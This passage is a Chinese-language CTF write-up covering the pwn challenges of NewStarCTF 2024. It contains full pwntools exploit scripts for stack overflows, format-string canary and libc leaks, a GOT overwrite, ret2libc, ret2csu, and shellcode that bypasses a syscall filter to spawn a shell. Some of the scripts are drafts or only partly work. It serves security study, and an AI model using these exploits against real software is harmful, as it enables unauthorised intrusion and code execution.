NewStarCTF 2024

1
https://match.ichunqiu.com/index?k=AzZXZ11uAmJQOAAxB3Zcfld1UDVScQBkBjoEMFRhDzgGM15pDTUEZQI3BmZUYlc2

pwn

签到

2024.10.3

nc之后满足条件就行了

Game

2024.10.3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __noreturn game()
{
int v0; // [rsp+0h] [rbp-10h] BYREF
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
v0 = 0;
puts("Let's play a game!");
alarm(5u);
while ( 1 )
{
printf("pls input you num: ");
__isoc99_scanf("%d", &v0);
if ( v0 < 0 || v0 > 10 )
break;
v1 += v0;
if ( v1 > 999 )
system("/bin/sh";
}
exit(-1);
}

看着是是不难

检查一下

‘’’’’’’’’’’’’’’’’

NX和PIE都开了

说明是不能直接溢出后门了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
#context(log_level= 'debug', arch = 'i386', os = 'linux' )

#p=process('./1111')
p=remote('101.200.139.65', 37201)


p.sendlineafter('pls input you num: ',b'10')
p.sendlineafter('pls input you num: ',b'10')
p.sendlineafter('pls input you num: ',b'10')
p.sendlineafter('pls input you num: ',b'10')
p.sendlineafter('pls input you num: ',b'10')
p.sendlineafter('pls input you num: ',b'10')
p.sendlineafter('pls input you num: ',b'10')
p.sendlineafter('pls input you num: ',b'10')
p.sendlineafter('pls input you num: ',b'10')
p.sendlineafter('pls input you num: ',b'10')

#p.sendline(payload)
p.interactive()

不会有人不会数学吧

overwrite

2024.10.3

直接ida打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 func()
{
size_t nbytes[6]; // [rsp+Ch] [rbp-84h] BYREF
char nptr[72]; // [rsp+40h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+88h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("pls input the length you want to readin: ");
__isoc99_scanf("%d", nbytes);
if ( SLODWORD(nbytes[0]) > 48 )
exit(0);
printf("pls input want you want to say: ");
read(0, nbytes + 4, LODWORD(nbytes[0]));
if ( atoi(nptr) <= 114514 )
{
puts("bad ,your wallet is empty");
}
else
{
puts("oh you have the money to get flag");
getflag();
}
return v3 - __readfsqword(0x28u);
}

开始都是一个简单的绕过吧

这个read是从第五个字节开始

也很简单前面是flag吧

我猜的是

1
2
3
4
5
6
7
8
9
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
llq@llq-virtual-machine:~$

全开

就绕一下吧

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
#context(log_level= 'debug', arch = 'i386', os = 'linux' )

#p=process('./1111')
p=remote('8.147.132.32',36646)


p.sendlineafter('pls input the length you want to readin: ',b'48')
payload=b'a'*(48)+p64(0x1BF53)
p.sendline(payload)
p.interactive()

我本以为这样应该就绕过了结果是有个限制

1
read(0, &nbytes_4, nbytes)

后面的nbytes是我们之前输入的

最大长度为48

所以说是什么来着???

OPW???

但是它的随机化地址是开着的哇

应该不是这个,就应该是一个简单的绕过问题

现在解决不了的是

这个有个长度的限制

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
#context(log_level= 'debug', arch = 'i386', os = 'linux' )

#p=process('./1111')
p=remote('8.147.132.32',34489)


p.sendlineafter('pls input the length you want to readin: ',b'-1')
payload=b'a'*(48)+b'10000000'
p.sendline(payload)
p.interactive()

唉,好丢人嘞

没想到可以传一个负值。

gdb

2024.10.4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall main(int a1, char **a2, char **a3)
{
size_t v3; // rax
size_t v4; // rax
int fd; // [rsp+0h] [rbp-440h]
char s[9]; // [rsp+7h] [rbp-439h] BYREF
__int64 v8[4]; // [rsp+10h] [rbp-430h] BYREF
char buf[1032]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 v10; // [rsp+438h] [rbp-8h]

v10 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
strcpy(s, "0d000721");
qmemcpy(v8, "mysecretkey1234567890abcdefghijk", sizeof(v8));
printf("Original: %s\n", s);
v3 = strlen(s);
sub_12E5(s, v3, v8);
printf("Input your encrypted data: ");
read(0, buf, 0x200uLL);
v4 = strlen(s);
if ( !memcmp(s, buf, v4) )
{
printf("Congratulations!");
fd = open("/flag", 0);
memset(buf, 0, 0x100uLL);
read(fd, buf, 0x100uLL);
write(1, buf, 0x100uLL);
}
return 0LL;
}

看着又是一道覆盖题

emm~

我是ida动调出的。

image-20241021125559651

1
2
3
4
5
6
7
8
from pwn import *
p=remote('101.200.139.65',30899)


invisible_chars = [0x1D] # 例如,选择一些不可见字符
payload = b']'+bytearray(invisible_chars) + b'CUSEWE'
p.sendline(payload)
p.interactive()

easy fmt

2024.10.7

猜测一手是格式化字符串泄露libc版本基址

比较好的是

出题人给我们了libc版本

老规矩

日常检查一下

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/啊布拉布拉$ checksec pwn
[*] '/home/bbq/桌面/啊布拉布拉/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~/桌面/啊布拉布拉$

canary是开着的

所以说是要泄露一下canary地址

然后puts函数泄露libc版本基址

先找一下偏移吧

1
2
3
4
5
6
you know it's easy fmt
try !
data:
aaaaaaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
aaaaaaaa_0x7ffc7c96a0a0_0x30_0x7bb77eb147e2_0x6_0x7bb77ec57040_0x402123_0x7ea80faa_0x6161616161616161_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0x255f70255f70255f
data:

偏移为8

canary也一眼就看见了

在rbp上面8字节

1
2
3
4
5
gdb pwn
b *printf
c
aaaaaaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
stack 50

image-20241023145157628

可以看见

1
2
0xdd28-0xdcf0=0x38
0x38/8=7

所以说加起来的偏移为7+8=15

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *


p=process('./pwn')
elf=ELF('./pwn')

payload='%15$p'
p.sendline(payload)

p.recvuntil('0x')
canary = int(p.recv(16),16)
#把canary接上
p.interactive()

本来以为是正常的泄露libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import*


p=remote('39.106.48.123', 38932)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')



payload='%15$p'
p.sendline(payload)

p.recvuntil('0x')
canary = int(p.recv(16),16)
print(hex(canary))
#把canary接上


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#main = elf.symbols['main']
main = 0x0000401228
pop_rdi =0x00000000004011bd
ret_addr=0x000000000040101a
#attack1



p.recvuntil('data: ')
payload = b'a'*(0x40-8)+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt) + p64(main)
#p.sendlineafter('input: ',payload)
p.sendline(payload)
p.recv()
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

#文件库
'''
libc_base = puts_addr - libc.sym["puts"]
print(hex(libc_base))
system_addr = libc_base+libc.sym["system"]
bin_sh = libc_base+libc.search(b"/bin/sh\x00").__next__()


#print(hex(libc_base))
print(hex(system_addr))
print(hex(bin_sh))

#attack2

p.recvuntil('data: ')
payload = b'a'*(0x40-8)+p64(canary)+p64(0xdeadbeef)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
p.sendlineafter('input: ',payload)


'''
p.interactive()

结果没有rdi的地址

so

got表改写地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'

elf = ELF('./pwn')
libc=ELF("./libc.so.6")
#p = process('./1111')


printf_got = elf.got['printf']
payload =p64(printf_got)+b"%8$s"
p.recvuntil('data: ')
p.sendline(payload)
printf_addr= u64(p.recv(6).ljust(8,b'\x00'))
print(hex(printf_addr))


libc_base= printf_addr -libc.sym["printf"]
print(hex(libc_base))

傻逼

整了两天

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'

elf = ELF('./pwn')
libc=ELF("./libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p = process('./pwn')
p=remote('101.200.139.65', 35044)

'''
printf_got = elf.got['printf']
payload1 =b"%9$s"+b'AAAA'+p64(printf_got)
p.sendline(payload1)
#p.recvuntil('\n')
p.recvuntil('AAAA')
puts_addr =
'''


printf_got = elf.got['printf']
payload1 = b"AAAA"+b"%9$s"+ p64(printf_got)
p.recvuntil('data: ')
p.sendline(payload1)
p.recvuntil('AAAA')
#printf_addr=u64(p.recv(6).ljust(8,b'\x00'))
printf_addr = u64(p.recvuntil("\x7f").ljust(8,b"\x00"))
print(f"printf_addr: {hex(printf_addr)}")


libc_base= printf_addr -libc.sym["printf"]
print(f"libc_base: {hex(libc_base)}")


system = libc_base + libc.sym["system"]
print(f"system_addr: {hex(system)}")





'''
high_sys = (system_addr >> 16) & 0xff
low_sys = system_addr & 0xffff
print('sys'+hex(system_addr))
print('low'+hex(low_sys))
print('high'+hex(high_sys))
payload2 = "%" + str(high_sys) + "c%12$hhn" + "%" + str(low_sys - high_sys) + "c%13$hn"
print(len(payload2))
print(payload2)
payload21 = payload2.ljust(32,"A") + p64(strlen_got + 2) + p64(strlen_got)
io.sendafter("data: ",payload2)
payload3 = b'/bin/sh\x00'
io.sendafter("data: ",payload3)
'''

'''

#payload=fmtstr_payload(9,{elf.got['printf']:system_addr})



'''


pay =b'%'+str(system&0xffff).encode() +b'c%12$hn'
pay+=b'%'+str((system>>16&0xffff)-(system&0xffff)).encode() +b'c%13$hn'
pay=pay.ljust(0x20,b'\x00')+p64(printf_got)+p64(printf_got+2)

p.recvuntil("data: ")
p.send(pay)
p.recvuntil("data: ")
p.send(b'/bin/sh\x00')

p.interactive()

ez_game

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/啊布拉布拉$ checksec 1111
[*] '/home/bbq/桌面/啊布拉布拉/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~/桌面/啊布拉布拉$

看一下主函数

1
2
3
4
5
6
7
8
9
10
11
int func()
{
char s[80]; // [rsp+0h] [rbp-50h] BYREF

memset(s, 0, sizeof(s));
setvbuf(_bss_start, 0LL, 2, 0LL);
fflush(_bss_start);
puts("Welcome to NewStarCTF!!!!");
read(0, s, 0x100uLL);
return puts("Try again!!");
}

最基本的libc版本泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#64位
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'


p = remote('101.200.139.65',36871)
elf = ELF('./1111')
libc=ELF('./libc-2.31.so')
#params

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x0000400686
pop_rdi =0x0000000000400783
ret_addr=0x0000000000400509
#attack1

payload = b'a'*(0x50+8)+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
#p.recvuntil('Welcome to NewStarCTF!!!!\n')
p.sendline(payload)
#p.recvuntil('Try again!!')
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

#文件库
#libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base+libc.sym["system"]
bin_sh = libc_base++libc.search(b"/bin/sh\x00").__next__()

#attack2
payload = flat([b'a'*(0x50+8),ret_addr,pop_rdi,bin_sh,system_addr])
p.sendline(payload)

p.interactive()

My_GBC!!!!!

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
llq@llq-virtual-machine:~/阿巴拉巴拉$ checksec 1111
[*] '/home/llq/阿巴拉巴拉/1111'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
llq@llq-virtual-machine:~/阿巴拉巴拉$

got表可改,NX,还多了几个

ok

看一下主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

(initial)(argc, argv, envp);
write(1, "It's an encrypt machine.\nInput something: ", 44uLL);
len = read(0, buf, 0x500uLL);
write(1, "Original: ", 0xBuLL);
write(1, buf, len);
write(1, "\n", 1uLL);
encrypt(buf, key, len);
write(1, "Encrypted: ", 0xCuLL);
write(1, buf, len);
write(1, "\n", 1uLL);
return 0;
}

怎么说呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall encrypt(__int64 a1, char key, int a3)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( i >= a3 )
break;
*(i + a1) ^= key;
*(a1 + i) = __ROL1__(*(i + a1), 3);
}
return result;
}

加密函数也看了,首先异或了一个密钥key(key=3),然后 循环左移3位

但是感觉没啥大用啊

write函数泄露libc基址?????

简单看一下吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#64位
from pwn import*
from LibcSearcher import*

r=remote('39.106.48.123', 15103)
elf=ELF('./1111')
libc=("./libc.so.6")

write_got=elf.got['write']
write_plt=elf.plt['write']
#main_addr=elf.sym['main']
main_addr=0x00000000040124C
pop_rdi=0x00000000004013b3
pop_rsi_r15=0x00000000004013b1
ret_addr=0x000000000040101a

payload=b'a'*(0x10+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
r.recvuntil('\n')
r.sendline(payload)
write_addr=u64(r.recv(8))
#print hex(write_addr)
'''
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
#print hex(offset)

system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

payload=b'a'*(0x80+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.sendline(payload)
'''
r.interactive()

怎么说呢

这里有个payload的加密

先进行异或90在循环左移3就行了

我们传的时候也是很简单的先右移3在异或90就行了

但是就是

这个payload的形式我没太懂

1
payload = (b'a' * (0x10 + 8) + p64	(0x4013b3) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(8) + p64(write_plt) + p64(main_addr))
1
payload=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61'+b'\xb3\x13@\x00\x00\x00\x00\x00'+b'\x01\x00\x00\x00\x00\x00\x00\x00'+b'\xb1\x13@\x00\x00\x00\x00\x00'+b'\x18@@\x00\x00\x00\x00\x00'+b'\x08\x00\x00\x00\x00\x00\x00\x00'+b'd\x10@\x00\x00\x00\x00\x00'+b'L\x12@\x00\x00\x00\x00\x00'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#64位
from pwn import*
#from LibcSearcher import*
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
#r=remote('39.106.48.123', 15103)
r=process('./1111')
elf=ELF('./1111')
libc=("./libc.so.6")

write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=elf.sym['main']
main_addr=0x00000000040124C
pop_rdi=0x00000000004013b3
pop_rsi_r15=0x00000000004013b1
ret_addr=0x000000000040101a

# 假设 payload 是之前构造好的 ROP 链
payload = b'a'*(0x10+8) +p64(0x2008022c) + p64(0x2000005a) + p64(0x2008022c) + p64(0x80859) + p64(0x5b) + p64(0x80080256) + p64(0x80080213)
#payload =b'a'*(0x10+8)+ p64(pop_rsi_r15) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(8) + p64(write_plt) + p64(main_addr)

r.sendlineafter('O',payload)


#r.recv()
#r.recvuntil('\n')
#write_addr=u64(r.recv(6).ljust(8,b'\x00'))
write_addr=u64(r.recvuntil("\x7f").ljust(8,b"\x00"))
print (hex(write_addr))
'''
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
#print hex(offset)

system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

payload=b'a'*(0x80+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.sendline(payload)
'''
r.interactive()

2024.10.16

问了一个师傅

是ret2csu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import*
#from LibcSearcher import*
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
r=remote('8.147.129.74',39297)
#r=process('./1111')
elf=ELF('./1111')
libc=ELF("./libc.so.6")




def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))



def decrypt(data, key, length):
decrypted = bytearray(data) # 将数据转换为可修改的字节数组
for i in range(length):
# 右循环位移3位
decrypted[i] = ((decrypted[i] >> 3) | (decrypted[i] << 5)) & 0xFF
# 异或还原
decrypted[i] ^= key
return decrypted
# 示例数据和密钥



csu_rear=0x04013AA
csu_head=0x0401390
main_addr=0x0040124C

pop_rdi=0x00000000004013b3
ret_addr=0x000000000040101a




payload =b'a'*(0x10+8)+ p64(csu_rear) + p64(0) + p64(1) + p64(1) + p64(elf.got['read']) + p64(8) + p64(elf.got['write'])+p64(csu_head)+p64(0)*7+p64(main_addr)
key = 0x5a # 加密时使用的密钥
length = len(payload)

# 解密
plaintext = decrypt(payload, key, length)
#print("解密后的数据:", plaintext.decode('utf-8', errors='ignore'))



r.sendafter('something:',plaintext)

libc_base=u64(r.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print (hex(libc_base))




system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()



payload1=b'a'*(0x10+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
key = 0x5a # 加密时使用的密钥
length1 = len(payload1)
plaintext1 = decrypt(payload1, key, length1)


r.sendafter('something:',plaintext1)


r.interactive()

Inverted World

日常检查

1
2
3
4
5
6
7
8
9
10
11
llq@llq-virtual-machine:~/阿巴拉巴拉/2$ checksec pwn
[*] '/home/llq/阿巴拉巴拉/2/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
llq@llq-virtual-machine:~/阿巴拉巴拉/2$

NX和canary开着的,got表可写

canary是开着的

所以说正常的溢出肯定不行

有后门说是

啥意思,把栈反转180???

动调一手确实是反着增加的

填完栈那还能直接溢出到返回地址吗?
试一手吧

image-20241023145237343

1
2
3
4
5
6
7
8
9
from pwn import*
#context(log_level= 'debug', arch = 'i386', os = 'linux' )

#p=process('./1111')
p=remote('101.200.139.65',35004)

payload=b'a'*(256+8)+p64(0x000000000401365)
p.sendafter('root@AkyOI-VM:~# ',payload)
p.interactive()

2024.10.16

问了一个师傅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
#context(log_level= 'debug', arch = 'i386', os = 'linux' )

#p=process('./1111')
p=remote('8.147.132.32',27868)



pay = b'a'*(0x100-0x18)
pay+= b'\x00'*5 + b'\x40\x13\x65'
pay+= b'\x00'*5 + b'\x40\x12\x46'
pay+= b'\x00'*5 + b'\x40\x40\xbe'
pay+= b'\x00'*5 + b'\x40\x13\x7c'
p.sendline(pay)

sleep(0.1)
p.sendline(b'hs')

p.interactive()

真狗啊!!

官方的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

p=remote('???.???.???.???', ?????)

payload=b'a'*0x100
p.sendline(payload+p64(0x040137C)[::-1])
p.sendlineafter("root@AkyOI-VM:~#", "hs")
p.sendline("cat flag")
p.interactive()

Bad Asm

2024.10.11

有个mmap函数

看着没啥思路,先放着

ok,2024.10.23

过来复现一手

简单看一下主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+8h] [rbp-18h]
int v4; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]
char *dest; // [rsp+18h] [rbp-8h]

init(argc, argv, envp);
label();
buf = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
dest = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
puts("Input your Code : ");
v4 = read(0, buf, 0x1000uLL);
for ( i = 0; i < v4 - 1; ++i )
{
if ( *(buf + i) == 15 && *(buf + i + 1) == 5 || *(buf + i) == 15 && *(buf + i + 1) == 52 )
{
puts("ERROR \\\\ Unavailable ! : syscall/sysenter/int 0x80");
exit(1);
}
}
strcpy(dest, buf);
exec(dest);
exit(1);
}

程序过滤了syscall/sysenter/int 0x80的汇编指令的机器码

strcpy 限制了 shellcode 的机器码中不能出现 0x00

这里只能说看看好了

image-20241023145759640

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

ELFpath = ('./pwn')
#p=remote('???.???.???.???', ?????)
p=process('./pwn')
# p=process(ELFpath)
# gdb.attach(p)

shellcode='''
; // 目标: 使用 syscall 执行 read(0, code, 0x3fff)
mov rsp, rdi
mov rax, rdi
add sp, 0x0848 ; // 从开头到这里的作用是给 rsp 一个合法值,使 push/pop 指令能够正常执行。同时设置 rax 的值方便后面往当前 shellcode 末尾拼接上 syscall 指令的机器码。

mov rsi,rdi
mov dx, 0x3fff ; // 这两行作用是设置 rsi rdx 寄存器

mov cx, 0x454f
xor cx, 0x4040 ; // 这两行作用是用异或搓出来 0f 05 (syscall 的机器码)
add al, 0x40
mov [rax], cx ; // rax原本指向的是当前段的开始位置,加上一个偏移,在之后指向的地方写入 0f 05,即 syscall,相当于拼接到当前 shellcode 后面。

xor rdi, rdi
xor rax, rax ; // 设置 read 的系统调用号 0,设置 rdi 寄存器
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90')) # \x90是nop指令的机器码,用于连接上面的shellcode和写入的syscall,使程序能正常执行。

pause()
p.send(b'a'*0x42+asm(shellcraft.sh())) # 0x42个a正好覆盖了syscall,之后拼接新的shellcode会继续执行本次写入的新的shellcode
p.interactive()

不思議なscanf

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
llq@llq-virtual-machine:~/阿巴拉巴拉$ checksec pwn
[*] '/home/llq/阿巴拉巴拉/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
llq@llq-virtual-machine:~/阿巴拉巴拉$ chmod +x pwn
llq@llq-virtual-machine:~/阿巴拉巴拉$ ./pwn
GGGGGGGGGGEEEEEEEG KKELLLLLLGGGWWWWGGGGLLGGGGGGGGGGGLii.,j. tKKKW
GGGGGGGGGGEEEEEEEG WKELLLLLGEEEWWWWGGGGGGGGGGGGGGGGGLii,,j. EKKKKW
GGGGGGGGGGEEEEEEEG it KKKLKWWWWWWWWWWWKEEEEEEEEEEGGGGGGGLLjjj ,KKKKKWW
GGGGGGGGGGEEEEEEEG tKi.GWKEWWWWWWWWWWWWKEEEEEEEEEEEGGGGGGLi,,, jEKKKKKWW
GGGGGGGGGGEEEEEEEG .KKKEWWWWWWWWWWWWWWWEEEEEEEEEEEEEGGGLGLi.., .EKKKKKKWW
GGGGGGGGGGEEEEEEEG LKKKWWWWWWWWWWWWWKKEEEEEEEEEEEEGEEGLGii,., EKKKKKKKWW
GGGGGGGGGGEEEEEEEE KKKKWWWWWWWWWWWWKEEEEEEEEEEEEEEGGGGGELii ,KKKKWKKWWW
GGGGGGGGGGEEEEEEEE. jGKKKWWWWWWWWWWWWKEEEEEEEEEEEEEEEEEGGGEGii .EKKKWWKWWWW
GGGGGGGGGGEEEEEEEE. tKKKWWWWWWWWWWWWWWEEEEEEEEEEEEEEEEGGGGGGGGi tKKKKWWKWWWW
GGGGGGGGGGEEEEEEEE. GKKKWWWWWWWWWWWWWWKEEEEEEEEEEEEEEEEEGGGGGGGE .KKKKWWKKWWWW
GGGGGGGGGGEEEEEEEE. .EKKKWWWWWWWWWWWWWWWKEEEEEEEEEEEEEEGGGEEGGGGGGG, EKKKWWWKWWWWW
GGGGGGGGGGEEEEEEEE..GKKWWWWWWWWWWWWWWWWWKEEEEEEEEEEEEEEEEEGEEGGGGGGGj ,KKKWWWWKWWWWW
GGGGGGGGGGEEEEEEEE,GKKWWWWWWWWWWWWWWWWWKEEEEEEEEEEEEEEEEEEEEGEGGGGGGGj GKKKWWWWKWWWWW
GGGGGGGGGGEEEEEEEEEKKWWWWWWWWWWWWWWWWWWKEEEEEEEEEEEEEEEEEGEEEEEGGGGGGG KKKKWWWWWWWWWW
GGGGGGGGGGEEEEEEEKKKWWWWWWWWWWWWWWWWWWWKEEEEEEEEEEEEEEGEEGGGGGGEEEGGGGG, KKKKWWWWWWWWWW
GGGGGGGGGGEEEEEEKKKWWWWWWWWWWWWWWWWWWWWKEEEEEEEEEEEEEEEGGGGGGGGGGEGGGGGG, KKKWWWWWWWWWWW
EGGGGGGGGGEEEEEKKKWWWWWWWWWWWWWWWWWWKGWEEEEEEEEEEEEEEEEEGGGEEGGGGGGGLGEGG. .KKKWWWWWWWWWWW
EGGGGGGGGGEEEEKKKKWWWWWWWWWWWWWWWWWWEGWEEEEEEEEEEEEEEEEEGGGGEEGGGGGGiiGGGG tKKWWWWWWWWWWWW
EGGGGGGGGGEEEEKKKWWWWWWWWWWWWWWWWWWGiGKEEEEEEEEEEEKEEEEEGGGGGEGGitGGGGGGEGL .KKKWWWWWWWWWWWW
EGGGGGGGGGEEEKKKWWWWWWWWWWWWWWWWWWKLiGKEEEEEEEEEEEEGEEEEGGGGGGGELtGGEGGGGEGt ,KKKWWWWWWWWWWWW
EGGGGGGGGGGEKKKWWWWWWWWWWWWWWWWWWWELiGWEEEEEEEEEEEEiEEEEEEGGGGGGGiGGGEGGGGGGt tKKWWWWWWWWWWWWW
EGGGGGGGGGEEKKWWWWWWWWWWWWWWWWWWWWLiiLKEEEEEEEEEEEEitEEEEEGGGGEGiGLGGEGGGGEGGt GKKWWWWWWWWWWWWW
KGGGGGGGGGEKKKWWWWWWWWWWWWWWWWWWWWit.iKEEEEEEEGEEEEEt.EEEEGiLGEEGGGGGGEGGGGEiGL. tKKKWWWWWWWWWWWWW
GGGGGGGGGGKKKKWWWWWWWWWWWWWWWWWWWKij.tKEEEEEEEiGEEEEL.EEEGGGGGEEGGGGGGEGGGGGL,GGt LKKWWWWWWWWWWWWWW
GGGGGGGGGGKKKWWWWWWWWWWWWWWWWWWWWEi,.,KELEEEEEiGEEEEG.LEEGEGGGEEEGGGGGGEGGGGGttGGL.EKKWWWWWWWWWWWWWW
GGGGGGGGGGKKKWWWWWWWWWWWWWWWWWWWWGi. .KELGEEEEiGEEEEEj.GEEEEGGEEEEGGGGGEGGGGGG tGEKKKWWWWWWWWWWWWWW
GGGGGGGGGKKKWWWWWWWWWWWWWWWWWWWWKL,...KEG.EEEEEEEEEEEG GEiEGGGEEEGGGGGGEGGGGGt KKKKWWWWWWWWWWWWWW
GGGGGGGGEKKKWWWWWWWWWWWWWWWWWWWWKL. ..GEG.EEEEEEEEEEEE jG,GEGGEEEGGGGGGEGGGGGG. KKKWWWWWWWWWWWWWWW
GGGGGGGGKKKWWWWWWWWWWWWWWWWWWWWWEi jEEjEEEEEEEEELEE .L,,EEGEEEGGGGGGEEGGGGGi KKKWWWWWWWWWWWWWWW
